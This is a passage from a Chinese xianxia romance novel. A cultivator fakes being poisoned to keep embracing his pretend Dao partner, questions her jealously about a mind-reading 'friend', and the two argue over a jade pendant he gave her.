他试着缓缓松开抱着她的手臂,不过松开一瞬,又反将她紧紧抱住。
不,分明是时间太短了。
盈芙懵了:“溯、溯月……?”
简溯月低声道:“抱歉,忽然感觉有些头晕,而且好冷。”
盈芙:“冷……?”可这宫殿里分明是暖的。
“嗯,也许是中毒了。”简溯月说着,将她抱得更紧了些,几乎完全将她圈抱进怀中,下颌抵着她的头顶。
盈芙:“!!!”难怪他感觉冷,胸膛和手臂却那么热,难怪他心跳那么乱那么快,原来是中毒了!
“这可怎么办?!”她慌乱道,“对了,有那种能解毒的灵药吗?那种能解很多种毒的通用灵药?”她娘特意提了一下,没想到还没出门就派上用场了。
简溯月沉默一瞬,脸颊蹭着她的头发,点了点头,状似虚弱道:“有,不过先让我缓一下……”
盈芙不再动,由他静静紧紧地抱着取暖,只小声道:“你千万别睡着,还有哪不舒服吗?那灵药在哪?要不我替你拿?”
简溯月的神识落在她充满担忧的眼眸上,有些欣喜,有些心疼。
他没想到自己还有这么卑鄙的一天。
尤其是在她被他牵连,要与他去那么远的胤国的时候,他怎么能做这么卑鄙的事。
所以,把自己的全部家当都送给她当赔礼,不过分吧?
他将一枚龙凤纹白玉佩从腰带上解下,从中取出一枚能够解毒的灵丹,与玉佩一同放到她手里,而后他的手指趁机搭在她掌心里,感受着她掌心的温度与柔软,迟迟不肯离开。
盈芙还以为他是连抬手的力气都没了,立刻用另一只手拿起那丹药送到他嘴边,却见他摇了摇头,气若游丝地道:“你先收下玉佩,里面是我的所有……”
盈芙眼圈都红了,立刻打断道:“不许交代后事!你会没事的!快吃药!”
简溯月干脆把脸埋到她发间,不给她喂药的机会,嗅着她发间清香哑声道:“你不收下玉佩,我就不吃药。”
盈芙:“……我收我收,你快点吃药!!”真的拿他没招了,怎么能有人都快没命了,还要惦记送东西?!
简溯月在她发间深吸一口气,依依不舍地抬起头,她立刻把药递了过来,他低下头,用唇含住那压根不用吃的灵药,嘴唇看似无意地擦过她的指尖。
盈芙没顾上这些细节,见他将灵药咽下去,安心些许,但仍忍不住担心:“希望这药能解毒,但要是解不了可怎么办……”
“能解,感觉好多了。”简溯月又抱了她一小会,怕她继续担心,才缓缓松开她,“好了,我没事了,别怕。”
盈芙眼眶一酸,落下泪来:什么毒能解这么快?而且他自己中了毒,却还在安慰她。
“别哭……都是我的错。”简溯月心疼后悔地用手指给她擦泪,“都怪我,真的已经好了,不冷了。”
盈芙哽咽问:“真的?”
“真的。”简溯月看着她为他落泪的模样,刚刚才勉强满足的心又开始渴望下一个拥抱。
这样可如何是好,明明只是假道侣……什么假道侣,他与她经过誓心仪式,在父母与天地的见证下许下并蒂芙蓉誓,甚至得到了天道祝福,这还能是假道侣?
可他答应过她,会与她保持距离,以君子之道与她相处,她可以随时离开……但是好想抱紧她,根本忍不住,他当时是怎么想出来假装道侣这种馊主意的?
他心中天人激烈交战。
盈芙眼泪渐止,她仔细打量他,见他遮目缎带下的脸颊并不苍白,嘴唇也有血色,只是抿着唇不知道在想什么,算是信了他的话。
她安下心,又气愤问:“是谁给你下的毒?”
简溯月心中正激烈交战的双方同时停下,共同心虚:“不确定。”
盈芙想了想,觉得还是那个师祖嫌疑最大:“估计是那个师祖,我们还是快些离开云顶宗吧!这里太危险了。”
她从他怀里站起来,简溯月遗憾地跟着她站起来。
盈芙转身去叫雪团:“雪团快来,我们要出发了。”
雪团警惕地盯着简溯月,快步跑到盈芙身边。
它感觉这个人刚才不太对劲。
他说自己中毒了,一副很虚弱的样子,可好几次偷偷在笑!
而且他中毒了就去找解药啊,抱着它的主人不撒手算怎么回事,它主人是解药吗?
盈芙俯身想要抱起猫,雪团陡然感觉背上凉飕飕的,一抬头就能看到简溯月面无表情地“盯”着它。
虽然它看不到他的眼睛,虽然它没有任何证据,但是它有十成十的把握,这个人就是在冷冷地盯着它!他在威胁它!!
它甚至有种非常危险的预感,它今天要是被它的主人抱起来,这个人一定会想办法让它永远见不到它的主人!
雪团退了一步,错开了盈芙的手,盈芙疑惑地“嗯”了一声,忽听简溯月咳嗽起来。
她顾不上抱雪团了,连忙去看简溯月的情况:“怎么了?还有哪不舒服?”
简溯月顺势伏倒在她肩膀上,哑声道:“或许是仍有余毒,还有些头晕……”
盈芙心疼地扶住他:“怎么会这样,这怎么办?”
“待会休息下就好。”简溯月叹息,“抱歉,让你担心了……”
“没事。”盈芙摇头,笑着安慰他,“你早点恢复就好。”
她暂时收起载阁白玉鹤,扶着“摇摇欲坠”的简溯月来到宫殿外,关好门,再重新拿出载阁白玉鹤。
简溯月靠在她耳边道:“其实这鹤与阁楼还可以变大,这样我们进去就不用缩小了。”
盈芙感受到耳边热乎乎轻飘飘的气息,耳朵逐渐变红。她努力忽视他的气息,想象了一下:巨大的鹤背着阁楼在天上飞,太拉风了……算了算了。
不过他更喜欢低调的还是拉风的?
盈芙问他,简溯月道:“都可以,你既
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然喜欢变小,那这次我们一起变小。”
盈芙一愣,狐疑地看他:他真的没有读心术吗?
“我跟你那位会读心术的朋友不一样。”简溯月状似不经意地提起那个人,淡淡道,“我只是‘看到’,你刚才皱眉了,现在又在怀疑我。”
盈芙:“……”我的表情变化有这么明显吗?!
“嗯,现在是错愕。”简溯月嘴角浮现一点笑意,她没有否认那个人是她的朋友。
那个人应该只是她的朋友。
但他飞快地把她近日见过的人,可能认识的朋友都回忆了一遍,却找不到答案。
盈芙默默敛起错愕,学他的面无表情。
简溯月“看”着她一本正经地绷着脸,怀疑自己或许真的中了什么毒,否则为何感觉心在快速融化?
不过盈芙绷了会脸就感觉累了,她无奈叹了口气,心道梦里梦外都拿他没办法。
没办法就不管了,离开云顶宗要紧。
她先唤雪团过来,教它用爪子碰阁楼进去,又牵起他“无力”的手,一起碰了下那精巧的三层小阁楼。
眼前景物一变,她与他已置身鹤背上的阁楼之中,满阁灯火再次亮起,香炉上重新升起袅袅香雾,案上古琴奏出雅音。
盈芙先将简溯月扶到一张临窗的榻上坐下休息,关上窗隔了风,又看了看四周,却不知要如何启动这鹤。
简溯月看出了她的疑问,主动解惑道:“启动语是‘白鹤来’。”
他话音一落,一只千纸鹤大小的白玉鹤浮现在两人身前。
“接下来只需要告诉它目的地和速度就好,比如:起飞去胤国,速度为最快。”
随着简溯月的声音,白玉鹤身上闪了两下光,而后整只鹤消失,就如它出现一般无声无息。
盈芙:“哇哦!”智能飞行!
她等了片刻,却没等到类似飞机起飞的感觉,又听简溯月道:“已经开始飞了,这阁楼中设有空间阵法,令整座阁楼不会随着鹤的飞行上下颠簸。”
盈芙忍不住幽幽看他:他的读心术在梦里梦外都很精湛。
简溯月心中微沉:她不信任他的话,还在怀疑他有读心术。
他很想说,无论何时,她都可以信任他,可他刚刚才骗了她……
他拢紧手指,再次道:“我确实没有对你用读心术,贸然对人使用读心术非君子所为,你那位朋友难道经常对你用读心术?”
盈芙心道那都不是经常,是一直。
简溯月见她不否认,不由蹙起眉头,提醒她:“读心术非正道之术,你要多小心那个朋友。”
盈芙点头:她也想小心,可她的梦不听她管哇。
她本来打算问问简溯月有没有什么控制梦境的方法,但现在一问,他肯定立刻就能察觉,“那个朋友”与她的梦有关。
要是再多问两句,说不定就能猜到“那个朋友”其实就是他自己了……那她不就暴露了经常在梦里想他吗?!
盈芙连忙心虚地转移话题道:“你现在感觉怎么样了?我扶你去寝屋休息吧!”
简溯月不语。只是神识轻轻抚摸过她的脸颊,和她眼中的心虚与惊慌。
每次一提到这个来历不明的朋友,她要么闭口不言,要么转移话题,若是普通朋友,何至于此?
“你与那朋友下次见面时,可否让我也认识一下?”他状似温和地道。
26. 第 26 章
盈芙:“?!”
“你的朋友,也是我的朋友。”简溯月温和微笑道,“择日请他来我们家里做做客,我会帮你好好招待他的。”
盈芙莫名打了个哆嗦,疑心屋里是不是进了阵阴凉的风,怎么忽然这么冷,但是阁楼门窗明明都关得好好的。
不过她算是明白了,为何自己梦中的简溯月是那种性格,为何会读心术:应该是她的潜意识先她一步发现,简溯月其实就是这么敏锐细致且难以糊弄的人,就像自带读心术一样,只是平时他淡漠清冷的气质掩盖住了这一点。
“怎么一直不说话,是有什么不方便的吗?”简溯月非常贴心地问。
盈芙心道是挺不方便的,本来梦见他就很不合适了,让他来梦里就更不合适了。
盈芙绞尽脑汁思索要怎么把“朋友”这事给圆过去。
又听身旁人落寞道:“是我还不够好,让你觉得丢人,你才不想让我见你的朋友。”
盈芙:“……?”
谁觉得万年一见的天才丢人?我这条咸鱼吗?!
他怎么会有这种错觉。
折煞鱼也。
她捉住他的袖子晃了晃,无奈求饶道:“溯月,你放过我吧。”
简溯月失落轻叹:“只是想见见你的朋友,就这么为难你么?你若是觉得我哪里不好,我可以立刻就改。”
“不是你的问题,你哪里都很好!”盈芙急切说完,没看见简溯月愣住,白玉般的面庞上快速染了层红云。
她正在拼命烧烤,把脑细胞都烤糊了几串,终于想出个理由来:“是我这位朋友来不了,因为……因为他已经入魔了,我跟他只是很久之前的朋友。”
因为他入魔了,所以来不了,多合理呀!
简溯月也觉得颇为合理:因为修炼各种邪术,比如读心术,所以入魔了,真是意料之中。
不过她跟那人是很久之前认识,现在却还能无意间提起他,可见他给她留下了多深的印象,也许还有许多难忘的回忆。
“你与他,是青梅竹马?”简溯月看似平静随意地问。
盈芙:“???”
见她一脸茫然,简溯月心中轻快不少:看来算不得青梅竹马。
退一万步讲,就算她与那人是青梅竹马又如何?她现在是他的道侣,名正言顺的道侣,而那人只是一个她连名字都羞于提起的魔修。
简溯月心满意足,不再折腾她:“时间不早了,你快去休息吧,寝屋在二楼。”
盈芙如蒙大赦,恨不得直接飞上二楼钻进屋中,但她还惦记着他的余毒:“你现在还难受吗?我扶你去二楼休息?”
简溯月心中生暖,不舍得她再担心,温声道:“已经彻底好了,你去休息吧,我想修炼一会。”
盈芙提醒他:“别太累了,要是有哪里不舒服就喊我!”
简溯月应下来。
盈芙放下心,直接顺着屋内楼梯飞上二楼,随手推开一间寝屋,就被机巧阁的小巧思震惊到了:这满屋家具竟都是新婚用品,被褥和床帐都是红色的,还绣了囍字。
但她现在顾不得这么多了,她扑到柔软干净的红色被褥上,把脸埋进去,耳边还是混乱剧烈的心跳声。
太可怕了。
她只是不小心说了读心术三个字,竟被他追根究底,现在凭空多出来一个“青梅竹马”。
好消息,她终于不是母单了,坏消息,这位“青梅竹马”是被“现任”推测捏造出来的。
盈芙又仔细一想,惊觉这“青梅竹马”与“现任”其实是一个人。
她哭笑不得。
在床上歇了片刻平复心情后,她先把红色囍字被褥换成了自带的粉蓝色荷花纹被褥,舒服地重新躺上去后,又忽然想起那枚玉佩还没处理。
她犹豫了一下,站起身带着玉佩返回一楼:这玉佩是他生命垂危时托付给她的,他还说是“他的所有”,里面肯定装了很重要很宝贵的东西,不还给他,她睡不踏实。
一楼雅厅中,琴音悠悠,香气袅袅,简溯月盘腿坐于榻上修炼,周身时间都仿佛静止,有暖黄的烛光从九枝连盏灯飞落到白衣仙人的身上,这一幕静谧安详得像一幅泛黄古画。
盈芙屏住呼吸看了一会,没舍得打扰他,打算先离开,过会再来一趟。
不过她刚一转身,就听到他温润的声音从身后传来:“怎么还没休息?”
盈芙回头看去,“画中仙”已从“画”中走了出来,来到了她身前。
曾经的清冷仙君此刻神情柔和,似在期待什么。
盈芙压下心动,心虚地捧出了他的玉佩。
简溯月:“……”
他的嘴角落了下来,神情由温和的春季转成寒冷的冬季只在一瞬间。
他淡漠道:“拿回去,我已经送给你了。”
盈芙小声却固执地道:“它是你危急关头托付给我的,不能算礼物,现在你既然已经安然无恙了,当然要还给你。”
简溯月侧过头,声音冷若霜雪:“不想收,你拿着就好,它是你的了。”
说罢他直接回了榻上,盘腿而坐,一副专心修炼禁止打扰的模样。
盈芙:“……”他又是连装都懒得装了。
她扶额叹气,心道难搞,看来只能拿出备用方案了。
盈芙来到他身旁坐下,举着玉佩,一边欣赏上面的精美龙纹雕刻,一边问:“它是我的对吧?”
简溯月立刻点头。
盈芙狡黠一笑,又道:“既然它已经归我,那我能不能把它交给你保管?”
简溯月:“……”
“我怕不小心弄丢嘛,就拜托你帮我保管了。”盈芙打量他越来越冰冷的神色,越说越小声,“当然不会让你白帮忙的,里面的东西你可以随意用。”
简溯月:“…………”
绕了个大圈,还是要还给他。
他放在膝盖上的手握紧,心中腾起一股火气:为何最近他送她东西,她要么不肯收,要么收了还要想方设法还回来?
“我送的是毒药吗?你为何总是推辞不肯收下?”他冷声问。
读心术真是个好东西啊,哪怕不是正道手段,他也想学一学了。
她嘴上说着他哪里都好,实际上却对他送的东西百般推辞,避之不及,她心中究竟是怎么想的?
难道她还在惦记着那个入魔的青梅竹马?
他用神
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识捏着她的下颌,同时紧紧盯着她眸中的每一点神色变化,想从中找出答案。
盈芙莫名感觉下颌好像被一只手捏住了,但是身旁那位明显没有动手,眼角余光什么都看不到,应该是错觉……吧?
但她感觉到他真的生气了。
她也很苦恼:“我无功不该受禄呀,而且你送的东西都太贵重了。”她收了拿什么还?她连第一个回礼还没搞定呢。
简溯月看着她眼中的苦恼和不安,心中火气陡然消失了,后悔弥漫上心头。
他竟成了她苦恼和不安的来源。
她分明反复提过好几次太贵重了,他却只一味变着法子让她收下,没有考虑到这些礼物会给她带来压力。
“这都是你应得的。”他放轻了声音,解释道,“你不用有任何压力,收下就好。”
盈芙晃了晃手中的白玉佩,疑惑问他:“这个也是我应得的?”
简溯月点头:“当然,它其实是赔礼,是我牵连到你。”还骗了你的赔礼。
“你若非与我成为道侣,不会被掌门长老他们为难,也不会被师祖下毒,不必离开家人与我去胤国。”他一想到这些,便觉得他的赔礼还不够,可还能送她什么呢?
盈芙想了想道:“可是你把我保护得很好,简直就是我的护身符,他们谁都没有伤害到我呀。”
甚至连系统口中那个脚踩穿越者徒手撕系统的大魔头也没出现,让她安安稳稳活到了现在,她感觉这跟简溯月这位主角包有关系的。
说不定就是那魔头打听到她这个新穿越者已经是主角阵营了,才迟迟没有动手。
简溯月愣住,耳边与心口反复回荡起三个字:护身符。
护身符……
她竟没觉得是他牵连了她,还说,他是她的护身符。
简溯月觉得自己整颗心都被温暖柔软的泉水包裹安抚,他的神识也悄悄将她包围拥抱。
盈芙依旧没有察觉,又道:“而且与你成为道侣后,我这段时光很轻松很开心。如果重来一次,回到赏花宴那夜,我的选择还是一样。”
简溯月没有说话,但神识拂过她明亮含笑的眼眸,无声无息地将她抱得更紧更密,甚至忍不住轻轻蹭她的脸颊,仿佛落下一吻。
盈芙疑惑地抬手摸了摸脸颊和脖子,疑心这房子其实哪里漏风,但之前漏的是冷风,现在漏的却是暖风?哪来的暖风?
简溯月悄悄收回神识,微微侧过身,背对着她,不让她看到他面庞上异常的绯色。
冷静片刻后,他从她手中接过那枚给她带来压力的玉佩,温声道:“那就如你所说,我暂且替你保管,但它是你的。”
盈芙无奈点头:行叭。
反正她不会再问这玉佩一句,更不会用里面的东西,实际上它还是他的。
简溯月一看她的神色,就知道她打的什么主意,他握紧了玉佩,却没有再把这玉佩给她。
现在给她,给的是压力,而不是礼物。
他会暂时替她保管这枚玉佩,但这枚玉佩迟早会挂在她的腰侧。
盈芙看着他重新在腰侧系好玉佩,忍不住问出一个她好奇很久的问题:“你为什么这么喜欢送人礼物?”